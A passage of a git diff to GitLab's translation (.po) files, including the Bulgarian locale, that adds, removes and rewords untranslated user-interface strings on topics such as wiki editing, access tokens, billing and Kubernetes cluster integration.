-msgid "WikiPage|This editor is in beta and may not display the page's contents properly."
+msgid "WikiPage|This editor is in beta and may not display the page's contents properly. Switching back to the classic editor will discard changes you've made in the new editor."
msgstr ""
msgid "WikiPage|Tip: You can move this page by adding the path to the beginning of the title."
@@ -36851,10 +36674,16 @@ msgstr ""
msgid "WikiPage|To link to a (new) page, simply type %{linkExample}. More examples are in the %{linkStart}documentation%{linkEnd}."
msgstr ""
+msgid "WikiPage|Try the new visual Markdown editor. Read the %{linkStart}documentation%{linkEnd} to learn what's currently supported."
+msgstr ""
+
+msgid "WikiPage|Try this later"
+msgstr ""
+
msgid "WikiPage|Update %{pageTitle}"
msgstr ""
-msgid "WikiPage|Use new editor"
+msgid "WikiPage|Use the new editor"
msgstr ""
msgid "WikiPage|Write your content or drag files here…"
@@ -37124,6 +36953,9 @@ msgstr ""
msgid "You can easily contribute to them by requesting to join these groups."
msgstr ""
+msgid "You can enable Registration Features because Service Ping is enabled. To continue using Registration Features in future, you will also need to register with GitLab via a new cloud licensing service."
+msgstr ""
+
msgid "You can enable project access token creation in %{link_start}group settings%{link_end}."
msgstr ""
@@ -37163,9 +36995,6 @@ msgstr ""
msgid "You can now export your security dashboard to a CSV report."
msgstr ""
-msgid "You can now group jobs in the pipeline graph based on which jobs are configured to run first, if you use the %{codeStart}needs:%{codeEnd} keyword to establish job dependencies in your CI/CD pipelines. %{linkStart}Learn how to speed up your pipeline with needs.%{linkEnd}"
-msgstr ""
-
msgid "You can now submit a merge request to get this change into the original branch."
msgstr ""
@@ -37343,21 +37172,18 @@ msgstr ""
msgid "You have imported from this project %{numberOfPreviousImports} times before. Each new import will create duplicate issues."
msgstr ""
-msgid "You have insufficient permissions to create a Todo for this alert"
+msgid "You have insufficient permissions to configure escalation policies for this project"
msgstr ""
-msgid "You have insufficient permissions to create an HTTP integration for this project"
+msgid "You have insufficient permissions to create a Todo for this alert"
msgstr ""
-msgid "You have insufficient permissions to create an escalation policy for this project"
+msgid "You have insufficient permissions to create an HTTP integration for this project"
msgstr ""
msgid "You have insufficient permissions to create an on-call schedule for this project"
msgstr ""
-msgid "You have insufficient permissions to remove an escalation policy from this project"
-msgstr ""
-
msgid "You have insufficient permissions to remove an on-call rotation from this project"
msgstr ""
@@ -37421,9 +37247,6 @@ msgstr ""
msgid "You must provide your current password in order to change it."
msgstr ""
-msgid "You must select a stack for configuring your cloud provider. Learn more about"
-msgstr ""
-
msgid "You must solve the CAPTCHA in order to submit"
msgstr ""
@@ -37583,12 +37406,6 @@ msgstr ""
msgid "Your CSV import for project"
msgstr ""
-msgid "Your Commit Email will be used for web based operations, such as edits and merges."
-msgstr ""
-
-msgid "Your Default Notification Email will be used for account notifications if a %{openingTag}group-specific email address%{closingTag} is not set."
-msgstr ""
-
msgid "Your DevOps Report gives an overview of how you are using GitLab from a feature perspective. View how you compare with other organizations, discover features you are not using, and learn best practices through blog posts and white papers."
msgstr ""
@@ -37616,18 +37433,12 @@ msgstr ""
msgid "Your Personal Access Token was revoked"
msgstr ""
-msgid "Your Primary Email will be used for avatar detection."
-msgstr ""
-
msgid "Your Projects (default)"
msgstr ""
msgid "Your Projects' Activity"
msgstr ""
-msgid "Your Public Email will be displayed on your public profile."
-msgstr ""
-
msgid "Your SSH key has expired"
msgstr ""
@@ -37640,12 +37451,6 @@ msgstr ""
msgid "Your SSH keys (%{count})"
msgstr ""
-msgid "Your SSH keys with the following fingerprints are scheduled to expire soon. Expired SSH keys will not be usable in future versions of GitLab:"
-msgstr ""
-
-msgid "Your SSH keys with the following fingerprints have expired. Expired SSH keys will not be usable in future versions of GitLab:"
-msgstr ""
-
msgid "Your To-Do List"
msgstr ""
@@ -37715,12 +37520,18 @@ msgstr ""
msgid "Your comment will be discarded."
msgstr ""
+msgid "Your commit email is used for web based operations, such as edits and merges."
+msgstr ""
+
msgid "Your dashboard has been copied. You can %{web_ide_link_start}edit it here%{web_ide_link_end}."
msgstr ""
msgid "Your dashboard has been updated. You can %{web_ide_link_start}edit it here%{web_ide_link_end}."
msgstr ""
+msgid "Your default notification email is used for account notifications if a %{openingTag}group-specific email address%{closingTag} is not set."
+msgstr ""
+
msgid "Your deployment services will be broken, you will need to manually fix the services after renaming."
msgstr ""
@@ -37805,6 +37616,9 @@ msgstr ""
msgid "Your personal access tokens will expire in %{days_to_expire} days or less"
msgstr ""
+msgid "Your primary email is used for avatar detection. You can change it in your %{openingTag}profile settings%{closingTag}."
+msgstr ""
+
msgid "Your profile"
msgstr ""
@@ -37814,6 +37628,9 @@ msgstr ""
msgid "Your projects"
msgstr ""
+msgid "Your public email will be displayed on your public profile."
+msgstr ""
+
msgid "Your request for access could not be processed: %{error_meesage}"
msgstr ""
@@ -37905,6 +37722,9 @@ msgstr ""
msgid "already being used for another group or project %{timebox_name}."
msgstr ""
+msgid "already being used for another iteration within this cadence."
+msgstr ""
+
msgid "already has a \"created\" issue link"
msgstr ""
@@ -37962,12 +37782,21 @@ msgstr ""
msgid "can contain only letters of the Base64 alphabet (RFC4648) with the addition of '@', ':' and '.'"
msgstr ""
+msgid "can contain only lowercase letters, digits, and '_'."
+msgstr ""
+
msgid "can only be changed by a group admin."
msgstr ""
+msgid "can only have one escalation policy"
+msgstr ""
+
msgid "can't be enabled because signed commits are required for this project"
msgstr ""
+msgid "can't be the same as the source project"
+msgstr ""
+
msgid "can't include: %{invalid_storages}"
msgstr ""
@@ -37992,6 +37821,9 @@ msgstr ""
msgid "cannot be enabled unless all domains have TLS certificates"
msgstr ""
+msgid "cannot be enabled until a valid credit card is on file"
+msgstr ""
+
msgid "cannot be modified"
msgstr ""
@@ -38010,9 +37842,6 @@ msgstr ""
msgid "cannot merge"
msgstr ""
-msgid "child-pipeline"
-msgstr ""
-
msgid "ciReport|%{degradedNum} degraded"
msgstr ""
@@ -38314,6 +38143,9 @@ msgstr ""
msgid "created"
msgstr ""
+msgid "created %{issuable_created} by %{author}"
+msgstr ""
+
msgid "created %{timeAgoString} by %{email} via %{user}"
msgstr ""
@@ -38395,6 +38227,9 @@ msgstr ""
msgid "encrypted: needs to be a :required, :optional or :migrating!"
msgstr ""
+msgid "ending with MIME type format is not allowed."
+msgstr ""
+
msgid "entries cannot be larger than 255 characters"
msgstr ""
@@ -38472,9 +38307,6 @@ msgid "from %d job"
msgid_plural "from %d jobs"
msgstr[0] ""
-msgid "general, development"
-msgstr ""
-
msgid "group"
msgstr ""
@@ -38858,6 +38690,9 @@ msgstr ""
msgid "mrWidget|Merge blocked: all threads must be resolved."
msgstr ""
+msgid "mrWidget|Merge blocked: pipeline must succeed. It's waiting for a manual action to continue."
+msgstr ""
+
msgid "mrWidget|Merge failed."
msgstr ""
@@ -38894,9 +38729,6 @@ msgstr ""
msgid "mrWidget|Open in Web IDE"
msgstr ""
-msgid "mrWidget|Pipeline blocked. The pipeline for this merge request requires a manual action to proceed"
-msgstr ""
-
msgid "mrWidget|Plain diff"
msgstr ""
@@ -38957,7 +38789,7 @@ msgstr ""
msgid "mrWidget|The source branch has been deleted"
msgstr ""
-msgid "mrWidget|The source branch is %{commitsBehindLinkStart}%{commitsBehind}%{commitsBehindLinkEnd} the target branch"
+msgid "mrWidget|The source branch is %{link} the target branch"
msgstr ""
msgid "mrWidget|The source branch is being deleted"
@@ -39038,7 +38870,10 @@ msgstr ""
msgid "must be greater than start date"
msgstr ""
-msgid "must contain only valid frameworks"
+msgid "must be inside the fork network"
+msgstr ""
+
+msgid "must have a unique schedule, status, and elapsed time"
msgstr ""
msgid "my-awesome-group"
@@ -39101,6 +38936,9 @@ msgstr ""
msgid "on track"
msgstr ""
+msgid "only available on top-level groups."
+msgstr ""
+
msgid "open issue"
msgstr ""
@@ -39379,6 +39217,9 @@ msgstr ""
msgid "the correct format."
msgstr ""
+msgid "the file"
+msgstr ""
+
msgid "the following issue(s)"
msgstr ""
@@ -39481,6 +39322,9 @@ msgstr ""
msgid "view the source"
msgstr ""
+msgid "visibility"
+msgstr ""
+
msgid "vulnerability"
msgid_plural "vulnerabilities"
msgstr[0] ""
diff --git a/locale/bg/gitlab.po b/locale/bg/gitlab.po
index d636a8a805a..8672e06f8ab 100644
--- a/locale/bg/gitlab.po
+++ b/locale/bg/gitlab.po
@@ -14,14 +14,11 @@ msgstr ""
"X-Crowdin-Language: bg\n"
"X-Crowdin-File: /master/locale/gitlab.pot\n"
"X-Crowdin-File-ID: 6\n"
-"PO-Revision-Date: 2021-06-01 20:36\n"
+"PO-Revision-Date: 2021-07-01 21:20\n"
msgid " %{name}, confirm your email address now! "
msgstr ""
-msgid " %{project_name}#%{issuable_iid} &middot; created %{issuable_created} by %{author} &middot; updated %{issuable_updated}"
-msgstr ""
-
msgid " %{start} to %{end}"
msgstr ""
@@ -89,6 +86,9 @@ msgstr ""
msgid "\"el\" parameter is required for createInstance()"
msgstr ""
+msgid "#general, #development"
+msgstr ""
+
msgid "%d Approval"
msgid_plural "%d Approvals"
msgstr[0] ""
@@ -267,11 +267,6 @@ msgid_plural "%d issues successfully imported with the label"
msgstr[0] ""
msgstr[1] ""
-msgid "%d item"
-msgid_plural "%d items"
-msgstr[0] ""
-msgstr[1] ""
-
msgid "%d layer"
msgid_plural "%d layers"
msgstr[0] ""
@@ -421,6 +416,24 @@ msgstr ""
msgid "%{board_target} not found"
msgstr ""
+msgid "%{bold_start}%{count}%{bold_end} issue"
+msgid_plural "%{bold_start}%{count}%{bold_end} issues"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "%{bold_start}%{count}%{bold_end} member"
+msgid_plural "%{bold_start}%{count}%{bold_end} members"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "%{bold_start}%{count}%{bold_end} opened merge request"
+msgid_plural "%{bold_start}%{count}%{bold_end} opened merge requests"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "%{closedWeight} complete, %{openWeight} incomplete"
+msgstr ""
+
msgid "%{code_open}Masked:%{code_close} Hidden in job logs. Must match masking requirements."
msgstr ""
@@ -464,6 +477,11 @@ msgstr ""
msgid "%{count} files touched"
msgstr ""
+msgid "%{count} item"
+msgid_plural "%{count} items"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "%{count} items per page"
msgstr ""
@@ -654,10 +672,10 @@ msgstr ""
msgid "%{level_name} is not allowed since the fork source project has lower visibility."
msgstr ""
-msgid "%{link_start}Learn more%{link_end} about what information is shared with GitLab Inc."
+msgid "%{link_start}Learn more%{link_end} about roles."
msgstr ""
-msgid "%{link_start}Read more%{link_end} about role permissions"
+msgid "%{link_start}Learn more%{link_end} about what information is shared with GitLab Inc."
msgstr ""
msgid "%{link_start}Remove the %{draft_snippet} prefix%{link_end} from the title to allow this merge request to be merged when it's ready."
@@ -821,6 +839,9 @@ msgid_plural "%{securityScanner} results are not available because a pipeline ha
msgstr[0] ""
msgstr[1] ""
+msgid "%{service_ping_link_start}Learn more%{service_ping_link_end} about what information is shared with GitLab Inc."
+msgstr ""
+
msgid "%{size} %{unit}"
msgstr ""
@@ -854,9 +875,6 @@ msgstr ""
msgid "%{state} epics"
msgstr ""
-msgid "%{strongStart}Deletes%{strongEnd} source branch"
-msgstr ""
-
msgid "%{strongStart}Tip:%{strongEnd} You can also checkout merge requests locally by %{linkStart}following these guidelines%{linkEnd}"
msgstr ""
@@ -957,12 +975,6 @@ msgstr ""
msgid "%{total} warnings found: showing first %{warningsDisplayed}"
msgstr ""
-msgid "%{type} License"
-msgstr ""
-
-msgid "%{usage_ping_link_start}Learn more%{usage_ping_link_end} about what information is shared with GitLab Inc."
-msgstr ""
-
msgid "%{userName} (cannot merge)"
msgstr ""
@@ -993,6 +1005,9 @@ msgstr ""
msgid "%{user} created an issue: %{issue_link}"
msgstr ""
+msgid "%{value} is not included in the list"
+msgstr ""
+
msgid "%{value} s"
msgstr ""
@@ -1480,9 +1495,6 @@ msgstr ""
msgid "A rebase is already in progress."
msgstr ""
-msgid "A rule must be provided to create an escalation policy"
-msgstr ""
-
msgid "A secure token that identifies an external storage request."
msgstr ""
@@ -1543,18 +1555,9 @@ msgstr ""
msgid "APIFuzzing|Code snippet could not be generated. Try again later."
msgstr ""
-msgid "APIFuzzing|Code snippet for the API Fuzzing configuration"
-msgstr ""
-
msgid "APIFuzzing|Configure HTTP basic authentication values. Other authentication methods are supported. %{linkStart}Learn more%{linkEnd}."
msgstr ""
-msgid "APIFuzzing|Copy code and open .gitlab-ci.yml file"
-msgstr ""
-
-msgid "APIFuzzing|Copy code only"
-msgstr ""
-
msgid "APIFuzzing|Customize common API fuzzing settings to suit your requirements. For details of more advanced configuration options, see the %{docsLinkStart}GitLab API Fuzzing documentation%{docsLinkEnd}."
msgstr ""
@@ -1759,13 +1762,13 @@ msgstr ""
msgid "AccessTokens|It cannot be used to access any other data."
msgstr ""
-msgid "AccessTokens|Keep this token secret. Anyone who gets ahold of it can access repository static objects as if they were you. You should %{reset_link_start}reset it%{reset_link_end} if that ever happens."
+msgid "AccessTokens|Keep this token secret. Anyone who has it can access repository static objects as if they were you. If that ever happens, %{reset_link_start}reset this token%{reset_link_end}."
msgstr ""
-msgid "AccessTokens|Keep this token secret. Anyone who gets ahold of it can create issues as if they were you. You should %{link_reset_it} if that ever happens."
+msgid "AccessTokens|Keep this token secret. Anyone who has it can create issues as if they were you. If that happens, %{link_reset_it}."
msgstr ""
-msgid "AccessTokens|Keep this token secret. Anyone who gets ahold of it can read activity and issue RSS feeds or your calendar feed as if they were you. You should %{link_reset_it} if that ever happens."
+msgid "AccessTokens|Keep this token secret. Anyone who has it can read activity and issue RSS feeds or your calendar feed as if they were you. If that happens, %{link_reset_it}."
msgstr ""
msgid "AccessTokens|Personal Access Tokens"
@@ -1783,16 +1786,16 @@ msgstr ""
msgid "AccessTokens|You can generate a personal access token for each application you use that needs access to the GitLab API."
msgstr ""
-msgid "AccessTokens|Your feed token is used to authenticate you when your RSS reader loads a personalized RSS feed or when your calendar application loads a personalized calendar, and is included in those feed URLs."
+msgid "AccessTokens|Your feed token authenticates you when your RSS reader loads a personalized RSS feed or when your calendar application loads a personalized calendar. It is visible in those feed URLs."
msgstr ""
-msgid "AccessTokens|Your incoming email token is used to authenticate you when you create a new issue by email, and is included in your personal project-specific email addresses."
+msgid "AccessTokens|Your incoming email token authenticates you when you create a new issue by email, and is included in your personal project-specific email addresses."
msgstr ""
-msgid "AccessTokens|Your static object token is used to authenticate you when repository static objects (e.g. archives, blobs, ...) are being served from an external storage."
+msgid "AccessTokens|Your static object token authenticates you when repository static objects (such as archives or blobs) are served from an external storage."
msgstr ""
-msgid "AccessTokens|reset it"
+msgid "AccessTokens|reset this token"
msgstr ""
msgid "AccessibilityReport|Learn more"
@@ -1912,6 +1915,9 @@ msgstr ""
msgid "Add a comment to this line or drag for multiple lines"
msgstr ""
+msgid "Add a custom message with details about the instance's shared runners. The message is visible in group and project CI/CD settings, in the Runners section. Markdown is supported."
+msgstr ""
+
msgid "Add a general comment to this %{noteableDisplayName}."
msgstr ""
@@ -1921,6 +1927,9 @@ msgstr ""
msgid "Add a homepage to your wiki that contains information about your project and GitLab will display it here instead of this message."
msgstr ""
+msgid "Add a horizontal rule"
+msgstr ""
+
msgid "Add a line"
msgstr ""
@@ -1984,6 +1993,9 @@ msgstr ""
msgid "Add commit messages as comments to Asana tasks. %{docs_link}"
msgstr ""
+msgid "Add commit messages as comments to Pivotal Tracker stories. %{docs_link}"
+msgstr ""
+
msgid "Add deploy freeze"
msgstr ""
@@ -2110,6 +2122,9 @@ msgstr ""
msgid "AddMember|Invite limit of %{daily_invites} per day exceeded"
msgstr ""
+msgid "AddMember|No invite source provided."
+msgstr ""
+
msgid "AddMember|No users specified."
msgstr ""
@@ -2344,9 +2359,6 @@ msgstr ""
msgid "AdminSettings|Enable shared runners for new projects"
msgstr ""
-msgid "AdminSettings|Environment variables are protected by default"
-msgstr ""
-
msgid "AdminSettings|Feed token"
msgstr ""
@@ -2359,19 +2371,22 @@ msgstr ""
msgid "AdminSettings|Moved to integrations"
msgstr ""
+msgid "AdminSettings|New CI/CD variables in projects and groups default to protected."
+msgstr ""
+
msgid "AdminSettings|No required pipeline"
msgstr ""
-msgid "AdminSettings|Required pipeline configuration"
+msgid "AdminSettings|Protect CI/CD variables by default"
msgstr ""
-msgid "AdminSettings|See affected service templates"
+msgid "AdminSettings|Required pipeline configuration"
msgstr ""
-msgid "AdminSettings|Select a pipeline configuration file"
+msgid "AdminSettings|See affected service templates"
msgstr ""
-msgid "AdminSettings|Select a template"
+msgid "AdminSettings|Select a CI/CD template"
msgstr ""
msgid "AdminSettings|Service template allows you to set default values for integrations"
@@ -2383,7 +2398,7 @@ msgstr ""
msgid "AdminSettings|Session duration for Git operations when 2FA is enabled (minutes)"
msgstr ""
-msgid "AdminSettings|Set an instance-wide auto included %{link_start}pipeline configuration%{link_end}. This pipeline configuration will be run after the project's own configuration."
+msgid "AdminSettings|Set a CI/CD template as the required pipeline configuration for all projects in the instance. Project CI/CD configuration merges into the required pipeline configuration when the pipeline runs. %{link_start}What is a required pipeline configuration?%{link_end}"
msgstr ""
msgid "AdminSettings|Specify a domain to use by default for every project's Auto Review Apps and Auto Deploy stages."
@@ -2392,10 +2407,7 @@ msgstr ""
msgid "AdminSettings|The latest artifacts for all jobs in the most recent successful pipelines in each project are stored and do not expire."
msgstr ""
-msgid "AdminSettings|The required pipeline configuration can be selected from the %{code_start}gitlab-ci%{code_end} directory inside of the configured %{link_start}instance template repository%{link_end} or from GitLab provided configurations."
-msgstr ""
-
-msgid "AdminSettings|When creating a new environment variable it will be protected by default."
+msgid "AdminSettings|The template for the required pipeline configuration can be one of the GitLab-provided templates, or a custom template added to an instance template repository. %{link_start}How do I create an instance template repository?%{link_end}"
msgstr ""
msgid "AdminSettings|You can't add new templates. To migrate or remove a Service template, create a new integration at %{settings_link_start}Settings &gt; Integrations%{link_end}. Learn more about %{doc_link_start}Project integration management%{link_end}."
@@ -2806,9 +2818,21 @@ msgstr ""
msgid "Admin|Admin notes"
msgstr ""
+msgid "Admin|Learn more about quarterly reconciliation"
+msgstr ""
+
msgid "Admin|Note"
msgstr ""
+msgid "Admin|Quarterly reconciliation will occur on %{qrtlyDate}"
+msgstr ""
+
+msgid "Admin|The number of max seats used for your namespace is currently exceeding the number of seats in your subscription. On %{qrtlyDate}, GitLab will process a quarterly reconciliation and automatically bill you a prorated amount for the overage. There is no action needed from you. If you have a credit card on file, it will be charged. Otherwise, you will receive an invoice."
+msgstr ""
+
+msgid "Admin|The number of maximum users for your instance is currently exceeding the number of users in license. On %{qrtlyDate}, GitLab will process a quarterly reconciliation and automatically bill you a prorated amount for the overage. There is no action needed from you. If you have a credit card on file, it will be charged. Otherwise, you will receive an invoice."
+msgstr ""
+
msgid "Admin|View pending user approvals"
msgstr ""
@@ -3027,12 +3051,18 @@ msgstr ""
msgid "AlertSettings|Add new integration"
msgstr ""
+msgid "AlertSettings|Alert settings"
+msgstr ""
+
msgid "AlertSettings|Authorization key"
msgstr ""
msgid "AlertSettings|Configure details"
msgstr ""
+msgid "AlertSettings|Current integrations"
+msgstr ""
+
msgid "AlertSettings|Customize alert payload mapping (optional)"
msgstr ""
@@ -3159,9 +3189,6 @@ msgstr ""
msgid "AlertsIntegrations|Alerts will not be created through this integration"
msgstr ""
-msgid "AlertsIntegrations|Current integrations"
-msgstr ""
-
msgid "AlertsIntegrations|If you delete the %{integrationName} integration, alerts are no longer sent from this endpoint. This action cannot be undone."
msgstr ""
@@ -3228,6 +3255,9 @@ msgstr ""
msgid "All epics"
msgstr ""
+msgid "All escalations rules must have a schedule in the same project as the policy"
+msgstr ""
+
msgid "All groups and projects"
msgstr ""
@@ -3387,9 +3417,6 @@ msgstr ""
msgid "Amazon EKS integration allows you to provision EKS clusters from GitLab."
msgstr ""
-msgid "Amazon Web Services"
-msgstr ""
-
msgid "Amazon Web Services Logo"
msgstr ""
@@ -3462,9 +3489,6 @@ msgstr ""
msgid "An error occurred when toggling the notification subscription"
msgstr ""
-msgid "An error occurred when updating the issue due date"
-msgstr ""
-
msgid "An error occurred when updating the issue weight"
msgstr ""
@@ -3516,6 +3540,9 @@ msgstr ""
msgid "An error occurred while enabling Service Desk."
msgstr ""
+msgid "An error occurred while fetching ancestors"
+msgstr ""
+
msgid "An error occurred while fetching branches. Retry the search."
msgstr ""
@@ -3606,6 +3633,9 @@ msgstr ""
msgid "An error occurred while getting files for - %{branchId}"
msgstr ""
+msgid "An error occurred while getting issue counts"
+msgstr ""
+
msgid "An error occurred while getting projects"
msgstr ""
@@ -3762,9 +3792,6 @@ msgstr ""
msgid "An error occurred while updating the configuration."
msgstr ""
-msgid "An error occurred while updating the milestone."
-msgstr ""
-
msgid "An error occurred while updating the notification settings. Please try again."
msgstr ""
@@ -4041,9 +4068,6 @@ msgstr ""
msgid "Apply a template"
msgstr ""
-msgid "Apply changes"
-msgstr ""
-
msgid "Apply suggestion"
msgstr ""
@@ -4133,15 +4157,9 @@ msgstr ""
msgid "ApprovalRule|Rule name"
msgstr ""
-msgid "ApprovalRule|Status check"
-msgstr ""
-
msgid "ApprovalRule|Target branch"
msgstr ""
-msgid "ApprovalRule|Users or groups"
-msgstr ""
-
msgid "ApprovalStatusTooltip|Adheres to separation of duties"
msgstr ""
@@ -4527,9 +4545,6 @@ msgstr ""
msgid "At least one approval from a code owner is required to change files matching the respective CODEOWNER rules."
msgstr ""
-msgid "At least one logging option is required to be enabled"
-msgstr ""
-
msgid "At least one of group_id or project_id must be specified"
msgstr ""
@@ -4718,9 +4733,6 @@ msgstr ""
msgid "Auto DevOps enabled"
msgstr ""
-msgid "Auto DevOps, runners and job artifacts"
-msgstr ""
-
msgid "Auto stop successfully canceled."
msgstr ""
@@ -5108,6 +5120,9 @@ msgstr ""
msgid "BillingPlan|Upgrade for free"
msgstr ""
+msgid "Billings|Shared runners cannot be enabled until a valid credit card is on file."
+msgstr ""
+
msgid "Billings|To use free pipeline minutes on shared runners, you’ll need to validate your account with a credit or debit card. If you prefer not to provide one, you can run pipelines by bringing your own runners and disabling shared runners for your project. This is required to discourage and reduce abuse on GitLab infrastructure. %{strongStart}GitLab will not charge or store your card, it will only be used for validation.%{strongEnd} %{linkStart}Learn more%{linkEnd}."
msgstr ""
@@ -5250,6 +5265,9 @@ msgid_plural "Boards|+ %{displayedIssuablesCount} more %{issuableType}s"
msgstr[0] ""
msgstr[1] ""
+msgid "Boards|An error occurred while creating the epic. Please try again."
+msgstr ""
+
msgid "Boards|An error occurred while creating the issue. Please try again."
msgstr ""
@@ -5309,6 +5327,9 @@ msgstr ""
msgid "Boards|Failed to fetch blocking %{issuableType}s"
msgstr ""
+msgid "Boards|New epic"
+msgstr ""
+
msgid "Boards|Retrieving blocking %{issuableType}s"
msgstr ""
@@ -5339,6 +5360,9 @@ msgstr ""
msgid "Board|Enter board name"
msgstr ""
+msgid "Board|Failed to create epic. Please try again."
+msgstr ""
+
msgid "Board|Failed to delete board. Please try again."
msgstr ""
@@ -5561,6 +5585,9 @@ msgstr ""
msgid "Browse files"
msgstr "Разглеждане на файловете"
+msgid "Browse templates"
+msgstr ""
+
msgid "BuildArtifacts|An error occurred while fetching the artifacts"
msgstr ""
@@ -5729,6 +5756,9 @@ msgstr ""
msgid "CICDAnalytics|Deployment frequency"
msgstr ""
+msgid "CICDAnalytics|Lead time"
+msgstr ""
+
msgid "CICDAnalytics|Projects with releases"
msgstr ""
@@ -5776,10 +5806,10 @@ msgstr ""
msgid "CICD|Jobs"
msgstr ""
-msgid "CICD|The Auto DevOps pipeline runs if no alternative CI configuration file is found."
+msgid "CICD|The Auto DevOps pipeline runs by default in all projects with no CI/CD configuration file."
msgstr ""
-msgid "CICD|The Auto DevOps pipeline will run if no alternative CI configuration file is found."
+msgid "CICD|The Auto DevOps pipeline runs if no alternative CI configuration file is found."
msgstr ""
msgid "CICD|group enabled"
@@ -5824,6 +5854,9 @@ msgstr ""
msgid "CVE|Why Request a CVE ID?"
msgstr ""
+msgid "Cadence is not automated"
+msgstr ""
+
msgid "Callback URL"
msgstr ""
@@ -5947,9 +5980,6 @@ msgstr ""
msgid "Cannot delete %{profile_name} referenced in security policy"
msgstr ""
-msgid "Cannot enable shared runners because parent group does not allow it"
-msgstr ""
-
msgid "Cannot have multiple Jira imports running at the same time"
msgstr ""
@@ -6055,15 +6085,15 @@ msgstr ""
msgid "Change path"
msgstr ""
-msgid "Change permissions"
-msgstr ""
-
msgid "Change reviewer(s)"
msgstr ""
msgid "Change reviewer(s)."
msgstr ""
+msgid "Change role"
+msgstr ""
+
msgid "Change status"
msgstr ""
@@ -6340,6 +6370,9 @@ msgstr ""
msgid "Checkout|Failed to load states. Please try again."
msgstr ""
+msgid "Checkout|Failed to load the payment form. Please try again."
+msgstr ""
+
msgid "Checkout|Failed to register credit card. Please try again."
msgstr ""
@@ -6442,9 +6475,6 @@ msgstr ""
msgid "Choose a group"
msgstr ""
-msgid "Choose a role permission"
-msgstr ""
-
msgid "Choose a template"
msgstr ""
@@ -6472,6 +6502,9 @@ msgstr ""
msgid "Choose specific groups or storage shards"
msgstr ""
+msgid "Choose the preferred Runner and populate the AWS CFT."
+msgstr ""
+
msgid "Choose the top-level group for your repository imports."
msgstr ""
@@ -6901,9 +6934,6 @@ msgstr ""
msgid "ClusterAgent|This feature is only available for premium plans"
msgstr ""
-msgid "ClusterAgent|This project is not included in the GitLab.com rollout for Kubernetes agent"
-msgstr ""
-
msgid "ClusterAgent|User has insufficient permissions to create a token for this project"
msgstr ""
@@ -6913,24 +6943,12 @@ msgstr ""
msgid "ClusterAgent|You have insufficient permissions to delete this cluster agent"
msgstr ""
-msgid "ClusterIntegration|%{appList} was successfully installed on your Kubernetes cluster"
-msgstr ""
-
-msgid "ClusterIntegration|%{boldStart}Note:%{boldEnd} Requires Ingress to be installed."
-msgstr ""
-
-msgid "ClusterIntegration|%{externalIp}.nip.io"
+msgid "ClusterApplicationsRemoved|One-click application management was removed in GitLab 14.0. Your applications are still installed in your cluster, and integrations continue working."
msgstr ""
msgid "ClusterIntegration|%{linkStart}More information%{linkEnd}"
msgstr ""
-msgid "ClusterIntegration|%{title} uninstalled successfully."
-msgstr ""
-
-msgid "ClusterIntegration|%{title} updated successfully."
-msgstr ""
-
msgid "ClusterIntegration|A cluster management project can be used to run deployment jobs with Kubernetes %{code_open}cluster-admin%{code_close} privileges."
msgstr ""
@@ -6964,15 +6982,6 @@ msgstr ""
msgid "ClusterIntegration|Advanced options on this Kubernetes cluster’s integration"
msgstr ""
-msgid "ClusterIntegration|All data not committed to GitLab will be deleted and cannot be restored."
-msgstr ""
-
-msgid "ClusterIntegration|All data will be deleted and cannot be restored."
-msgstr ""
-
-msgid "ClusterIntegration|All installed applications and related resources"
-msgstr ""
-
msgid "ClusterIntegration|Allow GitLab to manage namespace and service accounts for this cluster. %{linkStart}More information%{linkEnd}"
msgstr ""
@@ -6985,9 +6994,6 @@ msgstr ""
msgid "ClusterIntegration|Allows GitLab to query a specifically configured in-cluster Prometheus for metrics."
msgstr ""
-msgid "ClusterIntegration|Alternatively, "
-msgstr ""
-
msgid "ClusterIntegration|Amazon EKS"
msgstr ""
@@ -7009,9 +7015,6 @@ msgstr ""
msgid "ClusterIntegration|Any project namespaces"
msgstr ""
-msgid "ClusterIntegration|Any running pipelines will be canceled."
-msgstr ""
-
msgid "ClusterIntegration|Apply for credit"
msgstr ""
@@ -7030,15 +7033,6 @@ msgstr ""
msgid "ClusterIntegration|CA Certificate"
msgstr ""
-msgid "ClusterIntegration|Can be safely removed. Prior to GitLab 13.2, GitLab used a remote Tiller server to manage the applications. GitLab no longer uses this server. Uninstalling this server will not affect your other applications. This row will disappear afterwards."
-msgstr ""
-
-msgid "ClusterIntegration|Cert-Manager"
-msgstr ""
-
-msgid "ClusterIntegration|Cert-Manager is a native Kubernetes certificate management controller that helps with issuing certificates. Installing Cert-Manager on your cluster will issue a certificate by %{linkStart}Let's Encrypt%{linkEnd} and ensure that certificates are valid and up-to-date."
-msgstr ""
-
msgid "ClusterIntegration|Certificate Authority bundle (PEM format)"
msgstr ""
@@ -7060,9 +7054,6 @@ msgstr ""
msgid "ClusterIntegration|Choose the worker node %{linkStart}instance type%{linkEnd}."
msgstr ""
-msgid "ClusterIntegration|Choose which applications to install on your Kubernetes cluster."
-msgstr ""
-
msgid "ClusterIntegration|Choose which of your environments will use this cluster."
msgstr ""
@@ -7075,15 +7066,12 @@ msgstr ""
msgid "ClusterIntegration|Cluster Region"
msgstr ""
-msgid "ClusterIntegration|Cluster management project (alpha)"
+msgid "ClusterIntegration|Cluster management project"
msgstr ""
msgid "ClusterIntegration|Cluster name is required."
msgstr ""
-msgid "ClusterIntegration|Cluster_applications artifact too big. Maximum allowable size: %{human_size}"
-msgstr ""
-
msgid "ClusterIntegration|Clusters are utilized by selecting the nearest ancestor with a matching environment scope. For example, project clusters will override group clusters. %{linkStart}More information%{linkEnd}"
msgstr ""
@@ -7105,15 +7093,6 @@ msgstr ""
msgid "ClusterIntegration|Copy CA Certificate"
msgstr ""
-msgid "ClusterIntegration|Copy Ingress Endpoint"
-msgstr ""
-
-msgid "ClusterIntegration|Copy Jupyter Hostname"
-msgstr ""
-
-msgid "ClusterIntegration|Copy Knative Endpoint"
-msgstr ""
-
msgid "ClusterIntegration|Copy Kubernetes cluster name"
msgstr ""
@@ -7162,12 +7141,6 @@ msgstr ""
msgid "ClusterIntegration|Creating Kubernetes cluster"
msgstr ""
-msgid "ClusterIntegration|Crossplane"
-msgstr ""
-
